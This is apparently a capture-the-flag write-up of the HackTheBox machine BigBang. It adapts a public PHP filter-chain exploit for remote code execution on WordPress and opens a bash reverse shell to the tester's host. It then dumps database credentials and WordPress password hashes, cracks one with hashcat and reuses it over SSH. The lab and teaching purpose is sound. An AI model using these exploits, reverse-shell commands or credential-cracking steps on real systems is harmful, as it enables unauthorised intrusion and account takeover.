oxdf@hacky$ python wrapwrap.py /etc/hosts "GIF89a" "" 1000
[!] Ignoring nb_bytes value since there is no suffix
[+] Wrote filter chain to chain.txt (size=1443).
oxdf@hacky$ cat chain.txt
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/hosts
The last parameter is a length to read before putting the suffix, but since there’s no suffix, it ignores that as well.
I’ll pass that chain as the url
parameter and send again:

Now that file has the hosts
file:
oxdf@hacky$ curl http://blog.bigbang.htb/wp-content/uploads/2025/01/1-7.png -o-
GIF89a127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.3 bf9a078
It starts with the “GIF89a” which I can ignore.
I’m also a little suspicious of that hostname, which seems short for a Docker container. I would have expected 12 characters, and it’s seven. I think the last six characters (five missing in hostname plus trailing newline) might have been lost somehow in the filtering. To test this, I’ll re-run wrapwrap
with a longer prefix:
oxdf@hacky$ python wrapwrap.py /etc/hosts "GIF89a0xdf" "" 1000
[!] Ignoring nb_bytes value since there is no suffix
[+] Wrote filter chain to chain.txt (size=2619).
oxdf@hacky$ cat chain.txt
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/hosts
After sending that, the resulting image has six more characters of prefix (not exactly sure why “MM” was added after “0xdf”, but filters are weird), and six less characters of the file:
oxdf@hacky$ curl http://blog.bigbang.htb/wp-content/uploads/2025/01/1-8.png -o-
GIF89a0xdfMM127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.3 b
This is worth keeping in mind for this file read that I seem to lose the trailing n characters, where n is the number of characters prepended.
I’ll also note that if the filename changes but the prefix doesn’t, the chain from wrapwrap
doesn’t change either, other than the end where it says source=[filename]
. This saves me from having to run it over and over.
Modify Exploit
There’s a POC skeleton script here. I’ll download this and save it as exploit.py
. It’s using the Python ten exploitation framework, which uses classes and decorators to define the exploit.
In theory, I only need to update the Remote
class to handle uploading and reading files in the send
and download
functions:

It’s not super clear to me why these two functions are split up, when really the requirement is to read a file from the system. It looks like send
is only used in download
and to send final payload that triggers the buffer overflow (without actually reading back the response).
I’ll update them to match what is present on BigBang:
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
url = f"{self.url}/wp-admin/admin-ajax.php"
data = {"action": "upload_image_from_url", "url": tf.qs.encode(path), "id": 1, "accepted_files": "image/gif"}
return self.session.post(url, data=data)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
gif_chain = "php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource="
response = self.send(f"{gif_chain}{path}")
url = response.json()["response"]
if not url.startswith("http"):
return b""
content = self.session.get(url).content
return content[6:]
It’s using the GIF wrapwrap
chain to put the GIF magic bytes on the front, and then removing the first six bytes in the response. I’m using the ten
framework’s tf.qs.encode
since it’s already imported, but urllib.parse.quote_plus
would do the same thing.
To run this with uv, I’ll need to add ten
and pwntools
to the metadata:
oxdf@hacky$ uv add --script exploit.py ten pwntools
Updated `exploit.py`
When I run this, it fails:
oxdf@hacky$ uv run exploit.py http://blog.bigbang.htb id
Installed 44 packages in 248ms
[-] Remote.download did not return the test string
--------------------
Expected test string: b'9rzfYbh2F2EnQ9pIaQE5gfFUEf2SN0cFIqfGBri52hlWAKXE0y'
Got: b'9rzfYbh2F2EnQ9pIaQE5gfFUEf2SN0cFIqfGBri52hlWAKXE'
--------------------
[-] If your code works fine, it means that the data:// wrapper does not work
It’s doing a test to make sure it can pass in and read data, and the end of the resulting string is truncated! That is almost certainly due to my adding the GIF magic. I’ll update this check to allow for truncation in the result (original left in commented out):
#if text not in result:
if not text.startswith(result):
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
There’s a check_token
function just a few lines above that one, which needs updating as well:
def check_token(text: str, path: str) -> bool:
result = safe_download(path)
#return text.encode() == result
return text.encode().startswith(result)
Now, there’s another very long error:
oxdf@hacky$ uv run exploit.py http://blog.bigbang.htb id
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Potential heaps: 0x7f1d73600040, 0x7f1d73400040, 0x7f1d73000040, 0x7f1d71c00040, 0x7f1d6f800040, 0x7f1d6f000040, 0x7f1d6e400040, 0x7f1d6de00040, 0x7f1d6da00040 (using first)
[x] ELFParseError expected 8, found 2
...[snip]...
│ /media/sf_CTFs/hackthebox/bigbang-10.10.11.52/exploit.py:242 in run │
│ │
│ 239 │ │
│ 240 │ def run(self) -> None: │
│ 241 │ │ self.check_vulnerable() │
│ ❱ 242 │ │ self.get_symbols_and_addresses() │
│ 243 │ │ self.exploit() │
│ 244 │ │
│ 245 │ def build_exploit_path(self) -> str: │
│ │
│ /media/sf_CTFs/hackthebox/bigbang-10.10.11.52/exploit.py:197 in get_symbols_and_addresses │
│ │
│ 194 │ │ │
│ 195 │ │ self.download_file(libc.path, LIBC_FILE) │
│ 196 │ │ │
│ ❱ 197 │ │ self.info["libc"] = ELF(LIBC_FILE, checksec=False) │
...[snip]...
ELFParseError: expected 8, found 2
When it’s trying to read the downloaded LIBC file, it’s failing with the message “expected 8, found 2”. This has to do with the fact that the last six bytes are truncated from LIBC in downloading it.
There’s a download_file
function that’s only called once to get LIBC:
self.download_file(libc.path, LIBC_FILE)
I’ll update that to include six null bytes and hope that doesn’t mess anything up:
def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
# data = self.get_file(remote_path)
data = self.get_file(remote_path) + b"\x00" * 6
Path(local_path).write(data)
The next crash is a decoding error:
oxdf@hacky$ uv run exploit.py http://blog.bigbang.htb id
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[x] UnicodeDecodeError 'utf-8' codec can't decode byte 0x80 in position 69770: invalid start byte
...[snip]...
│ /media/sf_CTFs/hackthebox/bigbang-10.10.11.52/exploit.py:156 in get_regions │
│ │
│ 153 │ def get_regions(self) -> list[Region]: │
│ 154 │ │ """Obtains the memory regions of the PHP process by querying /proc/self/maps.""" │
│ 155 │ │ maps = self.get_file("/proc/self/maps") │
│ ❱ 156 │ │ maps = maps.decode() │
│ 157 │ │ PATTERN = re.compile( │
│ 158 │ │ │ r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)" │
│ 159 │ │ ) │
╰──────────────────────────────────────────────────────────────────────────────────────────────────╯
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 69770: invalid start byte
The maps
file should be all ASCII, so I’ll just update that line to maps = maps.decode(errors='ignore')
. Sometimes (unpredictably) there’s some junk at the end of the maps
file read, and it fails to match the pattern that’s parsing each time. I’ll update get_regions
to just drop the last line each time:
def get_regions(self) -> list[Region]:
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
maps = self.get_file("/proc/self/maps")
maps = '\n'.join(maps.decode(errors='ignore').split('\n')[:-1])
Now it works!
oxdf@hacky$ uv run exploit.py http://blog.bigbang.htb id
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Potential heaps: 0x7f1d73600040, 0x7f1d73400040, 0x7f1d71c00040, 0x7f1d6f800040, 0x7f1d6f400040, 0x7f1d6ea00040, 0x7f1d6e000040 (using first)
EXPLOIT SUCCESS
There’s no output, so the exploit must be blind. I’ll try again with curl
:
oxdf@hacky$ uv run exploit.py http://blog.bigbang.htb 'curl http://10.10.14.6/owned'
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Potential heaps: 0x7f1d73600040, 0x7f1d73400040, 0x7f1d71e00040, 0x7f1d6f600040, 0x7f1d6f000040, 0x7f1d6e600040, 0x7f1d6dc00040 (using first)
EXPLOIT SUCCESS
There’s a request at my webserver:
10.10.11.52 - - [31/Jan/2025 12:37:08] code 404, message File not found
10.10.11.52 - - [31/Jan/2025 12:37:08] "GET /owned HTTP/1.1" 404 -
Shell
I’ll run the exploit again, this time with a bash reverse shell:
oxdf@hacky$ uv run exploit.py http://blog.bigbang.htb 'bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"'
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Potential heaps: 0x7f1d73600040, 0x7f1d73400040, 0x7f1d73000040, 0x7f1d72c00040, 0x7f1d71e00040, 0x7f1d6f400040, 0x7f1d6ee00040, 0x7f1d6e400040, 0x7f1d6da00040 (using first)
EXPLOIT SUCCESS
When it completes, I get a shell:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.52 41526
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bf9a078a3627:/var/www/html/wordpress/wp-admin$
I’ll upgrade with the standard trick:
www-data@bf9a078a3627:/var/www/html/wordpress/wp-admin$ script /dev/null -c bash
<w/html/wordpress/wp-admin$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@bf9a078a3627:/var/www/html/wordpress/wp-admin$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@bf9a078a3627:/var/www/html/wordpress/wp-admin$
Shell as shawking
Enumeration
Container
The host running WordPress is Debian, as identified above:
www-data@bf9a078a3627:/$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
The hostname is bf9a078a3627, which is likely randomly generated by Docker. There’s also a .dockerenv
file in the system root:
www-data@bf9a078a3627:/$ ls -a
. .dockerenv boot etc lib media opt root sbin sys usr
.. bin dev home lib64 mnt proc run srv tmp var
ipconfig
and ip
are not installed on the container, but the fib_trie
file shows the IP is 172.17.0.3:
www-data@bf9a078a3627:/$ cat proc/net/fib_trie
Main:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.17.0.0/16 2 0 2
+-- 172.17.0.0/30 2 0 2
|-- 172.17.0.0
/16 link UNICAST
|-- 172.17.0.3
/32 host LOCAL
|-- 172.17.255.255
/32 link BROADCAST
Local:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.17.0.0/16 2 0 2
+-- 172.17.0.0/30 2 0 2
|-- 172.17.0.0
/16 link UNICAST
|-- 172.17.0.3
/32 host LOCAL
|-- 172.17.255.255
/32 link BROADCAST
There are no users in /home
.
Web
The WordPress installation is in /var/www/html/wordpress
:
www-data@bf9a078a3627:/var/www/html/wordpress$ ls
index.php wp-blog-header.php wp-cron.php wp-mail.php
license.txt wp-comments-post.php wp-includes wp-settings.php
readme.html wp-config-sample.php wp-links-opml.php wp-signup.php
wp-activate.php wp-config.php wp-load.php wp-trackback.php
wp-admin wp-content wp-login.php xmlrpc.php
The wp-config.php
file has the database connection information:
<?php
/**
...[snip]...
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wp_user' );
/** Database password */
define( 'DB_PASSWORD', 'wp_password' );
/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', '(6xl?]9=.f9(<(yxpm9]5<wKsyEc+y&MV6CjjI(0lR2)_6SWDnzO:[g98nOOPaeK' );
define( 'SECURE_AUTH_KEY', 'F<3>KtCm^zs]Mxm Rr*N:&{SWQexFn@ wnQ+bTN5UCF-<gMsT[mH$m))T>BqL}%8' );
define( 'LOGGED_IN_KEY', ':{yhPsf}tZRfMAut2$Fcne/.@Vs>uukS&JB04 Yy3{`$`6p/Q=d^9=ZpkfP,o%l]' );
define( 'NONCE_KEY', 'sC(jyKu>gY(,&: KS#Jh7x?/CB.hy8!_QcJhPGf@3q<-a,D#?!b}h8 ao;g[<OW;' );
define( 'AUTH_SALT', '_B& tL]9I?ddS! 0^_,4M)B>aHOl{}e2P(l3=!./]~v#U>dtF7zR=~LnJtLgh&KK' );
define( 'SECURE_AUTH_SALT', '<Cqw6ztRM/y?eGvMzY(~d?:#]v)em`.H!SWbk.7Fj%b@Te<r^^Vh3KQ~B2c|~VvZ' );
define( 'LOGGED_IN_SALT', '_zl+LT[GqIV{*Hpv>]H:<U5oO[w:]?%Dh(s&Tb-2k`1!WFqKu;elq7t^~v7zS{n[' );
define( 'NONCE_SALT', 't2~PvIO1qeCEa^+J}@h&x<%u~Ml{=0Orqe]l+DD7S}%KP}yi(6v$mHm4cjsK,vCZ' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/documentation/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
Database
mysql
client isn’t installed on the box. I could tunnel 172.17.0.1 port 3306 through to my host with something like Chisel, but I’m going to go with an alternative approach. ChatGPT wrote me a quick PHP script to query the database based on what I have from the config:
<?php
if ($argc < 2) {
die("Usage: php script.php \"SQL_QUERY\"\n");
}
$query = $argv[1];
$host = '172.17.0.1';
$user = 'wp_user';
$password = 'wp_password';
$database = 'wordpress'; // Change this if needed
$conn = new mysqli($host, $user, $password, $database);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error . "\n");
}
$result = $conn->query($query);
if ($result === false) {
die("Query error: " . $conn->error . "\n");
}
if ($result instanceof mysqli_result) {
while ($row = $result->fetch_assoc()) {
echo json_encode($row, JSON_PRETTY_PRINT) . "\n";
}
$result->free();
} else {
echo "Query executed successfully.\n";
}
$conn->close();
?>
It takes a query as an argument, connects to the DB and runs it, and prints the results. I’ll upload this to the container:
www-data@bf9a078a3627:/dev/shm$ wget 10.10.14.6/sql.php
--2025-01-31 18:14:36-- http://10.10.14.6/sql.php
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 718 [application/octet-stream]
Saving to: 'sql.php'
sql.php 100%[===================>] 718 --.-KB/s in 0s
2025-01-31 18:14:36 (45.2 MB/s) - 'sql.php' saved [718/718]
It works:
www-data@bf9a078a3627:/dev/shm$ php sql.php 'show databases;'
{
"Database": "information_schema"
}
{
"Database": "performance_schema"
}
{
"Database": "wordpress"
}
The only interesting database is wordpress. It has a few tables:
www-data@bf9a078a3627:/dev/shm$ php sql.php 'show tables;'
{
"Tables_in_wordpress": "wp_commentmeta"
}
{
"Tables_in_wordpress": "wp_comments"
}
{
"Tables_in_wordpress": "wp_links"
}
{
"Tables_in_wordpress": "wp_options"
}
{
"Tables_in_wordpress": "wp_postmeta"
}
{
"Tables_in_wordpress": "wp_posts"
}
{
"Tables_in_wordpress": "wp_term_relationships"
}
{
"Tables_in_wordpress": "wp_term_taxonomy"
}
{
"Tables_in_wordpress": "wp_termmeta"
}
{
"Tables_in_wordpress": "wp_terms"
}
{
"Tables_in_wordpress": "wp_usermeta"
}
{
"Tables_in_wordpress": "wp_users"
}
wp_users
is the most interesting. I’ll dump it:
www-data@bf9a078a3627:/dev/shm$ php sql.php 'select * from wp_users;'
{
"ID": "1",
"user_login": "root",
"user_pass": "$P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1",
"user_nicename": "root",
"user_email": "root@bigbang.htb",
"user_url": "http:\/\/blog.bigbang.htb",
"user_registered": "2024-05-31 13:06:58",
"user_activation_key": "",
"user_status": "0",
"display_name": "root"
}
{
"ID": "3",
"user_login": "shawking",
"user_pass": "$P$Br7LUHG9NjNk6\/QSYm2chNHfxWdoK.\/",
"user_nicename": "shawking",
"user_email": "shawking@bigbang.htb",
"user_url": "",
"user_registered": "2024-06-01 10:39:55",
"user_activation_key": "",
"user_status": "0",
"display_name": "Stephen Hawking"
}
There are two users, root and shawking, each with hashes.
SSH
Crack Password
I’ll save both hashes to a file:
root:$P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1
shawking:$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./
I’ll pass them to hashcat
with the --user
flag as the username is included:
$ hashcat wphashes rockyou.txt --user
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
400 | phpass | Generic KDF
...[snip]...
$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./:quantumphysics
...[snip]...
It does all of rockyou.txt
in about 20 seconds on my host. It found the password for shawking:
$ hashcat wphashes --show --user
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
400 | phpass | Generic KDF
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
shawking:$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./:quantumphysics
Shell
I’ll use SSH to see if that same password is reused for SSH:
oxdf@hacky$ sshpass -p 'quantumphysics' ssh shawking@bigbang.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)
...[snip]...
shawking@bigbang:~$
Disclaimer - I like to use sshpass
to pass passwords via the command line for CTF blog posts because it makes it very clear what I’m doing. Never enter real credentials into the command line like this.
And grab user.txt
:
shawking@bigbang:~$ cat user.txt
ad2f85e7************************
Shell as developer
Enumeration
Users
shawking cannot run sudo
:
shawking@bigbang:~$ sudo -l
[sudo] password for shawking:
Sorry, user shawking may not run sudo on bigbang.
There’s one other user with a home directory, developer:
shawking@bigbang:/home$ ls
developer shawking
That matches users with shells set in passwd
:
shawking@bigbang:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
shawking:x:1001:1001:Stephen Hawking,,,:/home/shawking:/bin/bash
developer:x:1002:1002:,,,:/home/developer:/bin/bash
(During the first week, there was another user, george in passwd
, but they were just a left over artifact and removed in the 10 February 2025 update to BigBang).
Listening Ports
There are two interesting ports listening on only local host:
shawking@bigbang:/$ netstat -tnl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 172.17.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:42571 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::80 :::* LISTEN
I’ll want to check out ports 3000 and 9090.
Satellite App
Port 9090 doesn’t return anything useful:
shawking@bigbang:~$ curl localhost:9090 -v
* Trying 127.0.0.1:9090...
* Connected to localhost (127.0.0.1) port 9090 (#0)
> GET / HTTP/1.1
> Host: localhost:9090
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 NOT FOUND
< Server: Werkzeug/3.0.3 Python/3.10.12
< Date: Fri, 31 Jan 2025 19:53:52 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 207
< Connection: close
<
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
* Closing connection 0
The response headers show that it is Python. I could forward port 9090 through to my host using SSH tunnels and brute force directories on this, but I won’t need to. Looking at Python processes in the process list, this is likely /root/satellite/app.py
:
shawking@bigbang:~$ ps auxww | grep python
root 583 0.0 0.4 32836 19500 ? Ss 18:51 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 1114 0.0 0.5 400076 22760 ? Ssl 18:52 0:02 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root 1768 0.0 1.7 246816 70320 ? Ssl 18:52 0:02 /usr/bin/python3 /root/satellite/app.py
I’ll come back to this later.
Grafana
For port 3000, it returns a redirect to /login
:
shawking@bigbang:~$ curl -v localhost:3000
* Trying 127.0.0.1:3000...
* Connected to localhost (127.0.0.1) port 3000 (#0)
> GET / HTTP/1.1
> Host: localhost:3000
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Cache-Control: no-store
< Content-Type: text/html; charset=utf-8
< Location: /login
< X-Content-Type-Options: nosniff
< X-Frame-Options: deny
< X-Xss-Protection: 1; mode=block
< Date: Fri, 31 Jan 2025 19:56:10 GMT
< Content-Length: 29
<
<a href="/login">Found</a>.
* Connection #0 to host localhost left intact
This is an instance of Grafana:
shawking@bigbang:~$ curl localhost:3000/login
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="viewport" content="width=device-width" />
<meta name="theme-color" content="#000" />
<title>Grafana</title>
<base href="/" />
...[snip]...
The data for this setup is in /opt/data
, and shawking has access:
shawking@bigbang:/opt/data$ ls
csv grafana.db pdf plugins png
Shell
Recover Password Hash
The grafana.db
file in /opt/data
is a SQLite DB:
shawking@bigbang:/opt/data$ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3044000, file counter 729, database pages 245, cookie 0x1bd, schema 4, UTF-8, version-valid-for 729
sqlite3
client isn’t installed on BigBang, so I’ll grab a copy of the DB with scp
:
oxdf@hacky$ sshpass -p 'quantumphysics' scp shawking@bigbang.htb:/opt/data/grafana.db .
Disclaimer - I like to use sshpass
